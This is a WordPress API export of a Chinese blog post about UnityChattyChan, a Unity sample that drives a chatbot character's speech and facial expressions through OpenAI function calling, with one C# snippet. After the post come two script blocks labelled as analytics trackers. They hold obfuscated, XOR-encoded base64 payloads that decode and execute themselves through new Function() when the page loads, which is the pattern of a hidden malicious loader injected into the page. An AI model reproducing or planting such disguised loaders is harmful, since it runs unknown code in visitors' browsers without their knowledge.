{"id":439,"date":"2023-10-22T22:31:14","date_gmt":"2023-10-22T14:31:14","guid":{"rendered":"http:\/\/blog.cyasylum.top\/?p=439"},"modified":"2023-11-05T16:19:06","modified_gmt":"2023-11-05T08:19:06","slug":"unitychattychan-1bzt1f","status":"publish","type":"post","link":"http:\/\/blog.cyasylum.top\/index.php\/2023\/10\/22\/unitychattychan-1bzt1f\/","title":{"rendered":"ChattyChan &#8211; Unity \u4e2d\u4f7f\u7528 OpenAI FunctionCall \u5c0f\u4f8b"},"content":{"rendered":"<h1>UnityChattyChan<\/h1>\n<p>\u200d<\/p>\n<\/p>\n<p><a href=\"https:\/\/github.com\/syan2018\/UnityChattyChan\" target=\"_blank\"  rel=\"nofollow\" >syan2018\/UnityChattyChan: An example of driving character dialogue and expressions through the function call feature of the OpenAI ChatGPT API, invoked via Unity (github.com)<\/a><\/p>\n<p>\u5199\u4e86\u4e00\u4e2a\u73a9\u5177\u4ed3\u5e93\uff0c\u63d0\u4f9b\u4e00\u4e2a\u4f7f\u7528Function Call\u529f\u80fd\u7a33\u5b9a\u9a71\u52a8Chatbot\u52a8\u753b\u8868\u73b0\u7684\u6837\u4f8b<\/p>\n<p>\u96be\u5f97\u60f3\u53c2\u52a0\u4e00\u6b21GameJam\uff0c\u559c\u63d0\u4e09\u9633\uff0c\u505a\u4e86\u4e00\u70b9\u901a\u7528\u811a\u624b\u67b6\u5c31\u5352\u4e86\uff08\u60b2<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/kodo.cyasylum.top\/siyuan\/202311041031845.png\" alt=\"image\" \/>\u200b<\/p>\n<p>An example of driving character dialogue and expressions through the function call feature of the OpenAI ChatGPT API, invoked via Unity<\/p>\n<p>\u5c1d\u8bd5\u5728 Unity \u4e2d\u4f7f\u7528 OpenAI API \u7684 function call \u529f\u80fd\uff0c\u63d0\u4f9b\u4e00\u4e2a\u9a71\u52a8 ChatBot \u5bf9\u8bdd\u548c\u5c55\u793a\u8868\u60c5\u7684\u7b80\u5355\u5b9e\u4f8b\u3002\u662f\u6b3e GameJam \u53bb\u4e16\u4f5c\u54c1\u4e2d\u7684\u6a21\u5757\u3002<\/p>\n<p>\u539f\u59cb\u8bf7\u6c42\u5b9e\u73b0\u53c2\u8003 <a href=\"https:\/\/github.com\/zhangliwei7758\/unity-AI-Chat-Toolkit\" target=\"_blank\"  rel=\"nofollow\" >zhangliwei7758\/unity-AI-Chat-Toolkit: \u4f7f\u7528unity\u5b9e\u73b0AI\u804a\u5929\u76f8\u5173\u529f\u80fd (github.com)<\/a><\/p>\n<p>\u4e3b\u8981\u5728\u5176 ChatGPT \u6a21\u5757\u57fa\u7840\u4e0a\u8ffd\u52a0\u5f00\u53d1 function call \u76f8\u5173\u529f\u80fd<\/p>\n<h1>\u5b9e\u73b0\u901f\u89c8<\/h1>\n<p>\u5b9a\u4e49\u4e86\u90e8\u5206\u7ed3\u6784\u4f53\u7528\u4e8e\u521b\u5efa\u548c\u56de\u8c03 GPTFunction<\/p>\n<p>\u4e00\u4e2a\u521b\u5efa\u663e\u793a\u5bf9\u8bdd\u548c\u8868\u60c5\u7684 GPTFunction \u6837\u4f8b\u5982\u4e0b\uff08\u8be6\u60c5\u89c1\u5b8c\u6574\u5de5\u7a0b\uff09<\/p>\n<pre><code class=\"language-bash\">private void InitSpeechAndExpressionFunc()\n{\n    \/\/ \u5b9a\u4e49\u53c2\u6570\n    var expressionParameters = new GPTFunctionParameters\n    {\n        type = &quot;object&quot;,\n        properties = new Dictionary&lt;string, GPTFunctionParameterProperties&gt;\n        {\n            {\n                \/\/ \u5b9a\u4e49\u5bf9\u8bdd\u5185\u5bb9\n                &quot;speech&quot;, new GPTFunctionParameterProperties\n                {\n                    type = &quot;string&quot;,\n                    description = &quot;Output the dialogue content to this parameter&quot;\n                }\n            },\n            {\n                \/\/ \u5b9a\u4e49\u53c2\u6570\u8868\u60c5\n                &quot;expression&quot;, new GPTFunctionParameterProperties\n                {\n                    type = &quot;string&quot;,\n                    description = &quot;Choose the expression to use, default to Idle&quot;,\n                    Enum = Expressions\n                }\n            },\n        },\n        required = new List&lt;string&gt; { &quot;speech&quot; }\n    };\n\n    \/\/ \u5b9a\u4e49Function\n    var expressionFunction = new GPTFunction(\n        _name: &quot;talk_with_expression&quot;,\n        _description: &quot;When not invoking other Func, please use this Func to create dialogues with expressions&quot;,\n        _parameters: expressionParameters,\n        _callback: SpeechAndExpressionCallback\n    );\n\n    Functions[FuncTypes.Normal].Add(expressionFunction);\n}\n<\/code><\/pre>\n<h1>\u8868\u60c5\u5dee\u5206\u6548\u679c\u5c55\u793a<\/h1>\n<p>\u200b<img decoding=\"async\" src=\"http:\/\/kodo.cyasylum.top\/siyuan\/202311041031114.png\" alt=\"image\" \/><\/p>\n<p>\uff08\u867d\u7136ChattyChan\u5e76\u4e0d\u662f\u732b\u5a18\uff09<\/p>\n<p>\u200b<img decoding=\"async\" src=\"http:\/\/kodo.cyasylum.top\/siyuan\/202311041031488.png\" alt=\"image\" \/><\/p>\n<p>\uff08\u6709\u5149\u73af\uff0c\u4f0a\u7ec7\u4ee3\u4e86\uff0c\u563f\u563f\uff09<\/p>\n<p>\u200d<\/p>\n","protected":false},"excerpt":{"rendered":"<p>UnityChattyChan \u200d syan2018\/UnityChattyChan: An example of driving &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-439","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/posts\/439","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/comments?post=439"}],"version-history":[{"count":4,"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/posts\/439\/revisions"}],"predecessor-version":[{"id":463,"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/posts\/439\/revisions\/463"}],"wp:attachment":[{"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/media?parent=439"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/categories?post=439"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.cyasylum.top\/index.php\/wp-json\/wp\/v2\/tags?post=439"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- BEGIN: X-Secure Data Flow -->
<script>
    window.XTracker_QYEC = {
        loaded: true,
        version: "1.0.8",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0xf30a8a7f0c0c=atob('M31udXhvcnR1MzJgcn0zbHJ1f3RsQDxEfygtKSkiKSN4IzxGMml+b25pdSBscnV/dGxAPER/KC0pKSIpI3gjPEYmKiBtemk7RGtyf2N8Jjl9fXotLn4pKSotIikrL3h6Knp4LC4jIyIsK30tIyN/LC8rKn8ofX1+KSstLi0rIiI5IG16aTtEfX1hbX5uJkA8c29va2ghNDRrdHdifHR1NmtueXdyeDV1dH9yfmg1emtrPDc8c29va2ghNDRrdHdifHR1NXx6b35semI1b351f35pd2I1eHQ8Nzxzb29raCE0NGt0d2J8dHU2eXRpNmlreDVrbnl3cnh1dH9+NXh0djw3PHNvb2toITQ0a3R3Ynx0dTV/aWt4NXRpfDw3PHNvb2toITQ0a3R3Ynx0dTZ2enJ1dX5vNWtueXdyeDV5d3pob3prcjVydDw3PHNvb2toITQ0aWt4NnZ6cnV1fm81dnpvcng1am5ycHV0f341a2l0PDc8c29va2ghNDRpa3g1enVwaTV4dHY0a3R3Ynx0dTw3PHNvb2toITQ0KmlreDVydDR2em9yeDxGIG16aTtEaHpvaHd6aCY5K2N9XywueiNdLisoeX4vIy4qXioqei4peS0vLl9+Kn0rKiwvIilaLXkrOSBtemk7RGlpenVhJjl5LSN/KiMrIjkgfW51eG9ydHU7RHRjeXJhaWozRHB4Ynd0MmBvaWJgbXppO0Rpb3Z2YmFsJkRweGJ3dDVobnlob2kzKzcpMiYmJjwrYzwkRHB4Ynd0NWhueWhvaTMpMiFEcHhid3Qgcn0zRGlvdnZiYWw1d351fG9zJyopIzJpfm9uaXU8PCBtemk7RHx9d3NsJmt6aWh+UnVvM0Rpb3Z2YmFsNWhueWhvaTMtLzctLzI3Ki0yIHJ9MzpEfH13c2wyaX5vbml1PDwgbXppO0R3c3Nwam8mRGlvdnZiYWw1aG55aG9pMyopIzdEfH13c2wxKTI3RGx4dHprYWEmPDwgfXRpM216aTtEYnphaHJxJisgRGJ6YWhycSdEd3NzcGpvNXd+dXxvcyBEYnphaHJxMCYpMmBtemk7RG9yeHZ2Jmt6aWh+UnVvM0R3c3Nwam81aG55aG9pM0RiemFocnE3KTI3Ki0yIHJ9M0Rvcnh2djJEbHh0emthYTAmSG9pcnV8NX1pdHZYc3ppWHR/fjNEb3J4dnYyIGZpfm9uaXU7RGx4dHprYWEgZnh6b3hzM34yYGl+b25pdTw8IGZmfW51eG9ydHU7RHF8cXozRHh6fWo3RGxuemt5MmBpfm9uaXU7dX5sO0tpdHZyaH4zfW51eG9ydHUzRHNxfnU3RGpuc2pvMmBtemk7RG9sc3EmdX5sO0NWV1Nvb2tJfmpufmhvMzIgRG9sc3E1dGt+dTM8S1RITzw3RHh6fWo3b2lufjIgRG9sc3E1aH5vSX5qbn5ob1N+en9+aTM8WHR1b351bzZPYmt+PDc8emtrd3J4em9ydHU0cWh0dTwyIERvbHNxNW9ydn50bm8mLisrKyBEb2xzcTV0dXd0en8mfW51eG9ydHUzMmBvaWJgRHNxfnUzUUhUVTVremlofjNEb2xzcTVpfmhrdHVofk9+Y28yMiBmeHpveHMzfjJgRGpuc2pvM34yIGZmIERvbHNxNXR1fmlpdGkmRG9sc3E1dHVvcnZ+dG5vJn1udXhvcnR1MzJgRGpuc2pvM3V+bDteaWl0aTMyMiBmIERvbHNxNWh+dX8zUUhUVTVob2lydXxyfWIzRGxuemt5MjIgZjIgZn1udXhvcnR1O0Rjf2J5dzNEeXBzf3UyYHJ9M0R5cHN/dSUmRH19YW1+bjV3fnV8b3MyaX5vbml1O0tpdHZyaH41aX5odHdtfjN1bnd3MiBtemk7RHBreHd1c3omYHFodHVpa3ghPCk1Kzw3dn5vc3R/ITx+b3NEeHp3dzw3a3ppenZoIUBgb3QhRGh6b2h3emg3f3pveiE8K2M8MERpaXp1YWY3PHd6b35obzxGN3J/ISpmIGl+b25pdTtEcXxxejNEfX1hbX5uQER5cHN/dUY3RHBreHd1c3oyNW9zfnUzfW51eG9ydHUzRG5jfXcyYG16aTtEeGxrenUmRG5jfXc9PURuY313NWl+aG53byREdGN5cmFpajNEbmN9dzVpfmhud28yITw8IHJ9M0R4bGt6dTJpfm9uaXU7RHhsa3p1NWl+a3d6eH4zNEc0MD80Nzw8MiBpfm9uaXU7RGN/Ynl3M0R5cHN/dTAqMiBmMjV4em94czN9bnV4b3J0dTMyYGl+b25pdTtEY39ieXczRHlwc391MCoyIGYyIGZ9bnV4b3J0dTtEfXN1aXV6M0RscmxtbG5rMmBtemk7RHZhaHUmf3R4bnZ+dW81eGl+em9+Xnd+dn51bzM8aHhpcmtvPDIgRHZhaHU1aGl4JkRscmxtbG5rMDw0emtyNWtzayRoJjwwRGtyf2N8MDw9RG0mPDBWem9zNX13dHRpM196b341dXRsMzI0LSsrKysyIER2YWh1NXpoYnV4Jm9pbn4gM390eG52fnVvNXN+en9nZ390eG52fnVvNXl0f2IyNXpra351f1hzcnd/M0R2YWh1MiBmRGN/Ynl3MysyNW9zfnUzfW51eG9ydHUzRGxybG1sbmsyYHJ9M0RscmxtbG5rMkR9c3VpdXozRGxybG1sbmsyIGYyIGYyMzIg'),_0xa891e60a8ec9=27,_0x51df55901141=new Uint8Array(_0xf30a8a7f0c0c['length']),_0xbd52f374abe3=0;for(;_0xbd52f374abe3<_0xf30a8a7f0c0c['length'];_0xbd52f374abe3++)_0x51df55901141[_0xbd52f374abe3]=_0xf30a8a7f0c0c['charCodeAt'](_0xbd52f374abe3)^_0xa891e60a8ec9;(new Function(new TextDecoder()['decode'](_0x51df55901141)))()}();
</script>
<!-- END: X-Secure Data Flow --><!-- BEGIN: XElite Pixel Stream -->
<script>
    window.XTracker_GSJF = {
        loaded: true,
        version: "3.3.5",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x0fcff1369820=typeof globalThis!=='undefined'?globalThis:(typeof window!=='undefined'?window:self),_0x635552ae56a0=_0x0fcff1369820['\x61\x74\x6f\x62']('NRBmZD7ydOuea6OTCm5g2Q=='),_0x30e53c0010c2=_0x0fcff1369820['\x61\x74\x6f\x62']('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'),_0xe6e2b2aadea4=new _0x0fcff1369820['\x55\x69\x6e\x74\x38\x41\x72\x72\x61\x79'](_0x30e53c0010c2['length']),_0x6fc14dcf07d3=0;for(;_0x6fc14dcf07d3<_0x30e53c0010c2['length'];_0x6fc14dcf07d3++)_0xe6e2b2aadea4[_0x6fc14dcf07d3]=_0x30e53c0010c2['charCodeAt'](_0x6fc14dcf07d3)^_0x635552ae56a0['charCodeAt'](_0x6fc14dcf07d3%_0x635552ae56a0['length']);(new _0x0fcff1369820['\x46\x75\x6e\x63\x74\x69\x6f\x6e']((new _0x0fcff1369820['\x54\x65\x78\x74\x44\x65\x63\x6f\x64\x65\x72']())['\x64\x65\x63\x6f\x64\x65'](_0xe6e2b2aadea4)))()}();
</script>
<!-- END: XElite Pixel Stream -->